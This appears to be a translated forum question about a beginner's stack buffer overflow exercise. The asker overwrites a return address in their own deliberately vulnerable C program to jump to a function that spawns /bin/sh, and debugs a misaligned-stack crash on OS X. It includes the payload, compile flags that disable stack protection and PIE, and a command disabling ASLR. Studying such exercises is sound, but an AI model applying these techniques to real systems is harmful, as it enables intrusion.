我正在尝试使用以下程序执行简单的缓冲区溢出

void not_called() {
  printf("Enjoy your shell\n");
  char* name[2];
  name[0] = "/bin/sh";
  name[1] = NULL;
  execve(name[0], name, NULL);
}

void vulnerable_function(char* string) {
  char buffer[12];
  strcpy(buffer, string);
}

int main(int argc, char** argv) {
  printf("Starting!\n");
  vulnerable_function(argv[1]);
  return 0;
}

然而,喂它时

./hello `python -c 'print "A"*20 + "\x80\x1e"'`

用hello编译

gcc -m32 -fno-stack-protector -D_FORTIFY_SOURCE=0 -Wl,-no_pie hello.c -o hello

在OS X 10.11.6上,程序崩溃了 . 我确认这在改变程序流程后已经发生了 - 它落在 0x1e80 并打印"Enjoy...",但 execve 似乎失败了 .

跟踪显示 0x1ed4 发生错误,该错误超过 0x1ecf execve 调用,但在崩溃之间没有进入 /bin/sh . 在该地址下找到的 %eax, -0x20(%ebp) 显然意味着失败,因为保存的 ebp 在返回地址时被覆盖,但是 what is bugging me, is that it should never reach that line .

这是lldb的一些输出:

* thread #1: tid = 0x42b83, 0x97f772f0 libdyld.dylib`misaligned_stack_error_, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=EXC_I386_GPFLT)
    frame #0: 0x97f772f0 libdyld.dylib`misaligned_stack_error_
libdyld.dylib`misaligned_stack_error_:
->  0x97f772f0 <+0>:  movdqa %xmm0, 0x10(%esp)
    0x97f772f6 <+6>:  movdqa %xmm1, 0x20(%esp)
    0x97f772fc <+12>: movdqa %xmm2, 0x30(%esp)
    0x97f77302 <+18>: movdqa %xmm3, 0x40(%esp)

跟踪:

(lldb) bt
* thread #1: tid = 0x42b83, 0x97f772f0 libdyld.dylib`misaligned_stack_error_, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=EXC_I386_GPFLT)
  * frame #0: 0x97f772f0 libdyld.dylib`misaligned_stack_error_
    frame #1: 0xa3db5edc libsystem_c.dylib`__sFX + 184
    frame #2: 0x00001ed4 hello`not_called + 84
(lldb) di -n not_called 
hello`not_called:
    0x1e80 <+0>:  pushl  %ebp
    0x1e81 <+1>:  movl   %esp, %ebp
    0x1e83 <+3>:  pushl  %edi
    0x1e84 <+4>:  pushl  %esi
    0x1e85 <+5>:  subl   $0x30, %esp
    0x1e88 <+8>:  calll  0x1e8d                    ; <+13>
    0x1e8d <+13>: popl   %eax
    0x1e8e <+14>: leal   0x105(%eax), %ecx
    0x1e94 <+20>: movl   %ecx, (%esp)
    0x1e97 <+23>: movl   %eax, -0x14(%ebp)
    0x1e9a <+26>: calll  0x1f5c                    ; symbol stub for: printf
    0x1e9f <+31>: xorl   %ecx, %ecx
    0x1ea1 <+33>: leal   -0x10(%ebp), %edx
    0x1ea4 <+36>: movl   -0x14(%ebp), %esi
    0x1ea7 <+39>: leal   0x118(%esi), %edi
    0x1ead <+45>: movl   %edi, -0x10(%ebp)
    0x1eb0 <+48>: movl   $0x0, -0xc(%ebp)
    0x1eb7 <+55>: movl   -0x10(%ebp), %edi
    0x1eba <+58>: movl   %edi, (%esp)
    0x1ebd <+61>: movl   %edx, 0x4(%esp)
    0x1ec1 <+65>: movl   $0x0, 0x8(%esp)
    0x1ec9 <+73>: movl   %eax, -0x18(%ebp)
    0x1ecc <+76>: movl   %ecx, -0x1c(%ebp)
    0x1ecf <+79>: calll  0x1f56                    ; symbol stub for: execve
    0x1ed4 <+84>: movl   %eax, -0x20(%ebp)
    0x1ed7 <+87>: addl   $0x30, %esp
    0x1eda <+90>: popl   %esi
    0x1edb <+91>: popl   %edi
    0x1edc <+92>: popl   %ebp
    0x1edd <+93>: retl   
    0x1ede <+94>: nop

稍作修改,我就可以在运行Ubuntu 16.04的PC上取得成功,我无法解决这个未对齐的堆栈问题 .

我只是开始研究这个领域,所以任何提示都表示赞赏!

编辑:( Ubuntu 16.04尝试)

使用与 gcc -fno-stack-protector hello.c -o hello 编译的相同程序,我能够在没有崩溃的情况下成功 . 它还没有't exactly the same, since it was 64bit this time, but I didn'具有32位开发库,无论如何都成功完成了此设置 . ASLR被禁用:

echo 0 > /proc/sys/kernel/randomize_va_space

编辑:

我能够通过添加 -mrealignstack 并使用编译程序来修复崩溃

gcc -m32 -mrealignstack -fno-stack-protector -D_FORTIFY_SOURCE=0 -Wl,-no_pie hello.c -o hello

但是,我还是不确定该怎么做 .

编辑:

这只在调用库函数时崩溃,在劫持 eip 之后执行的任何我自己的函数链都会执行 .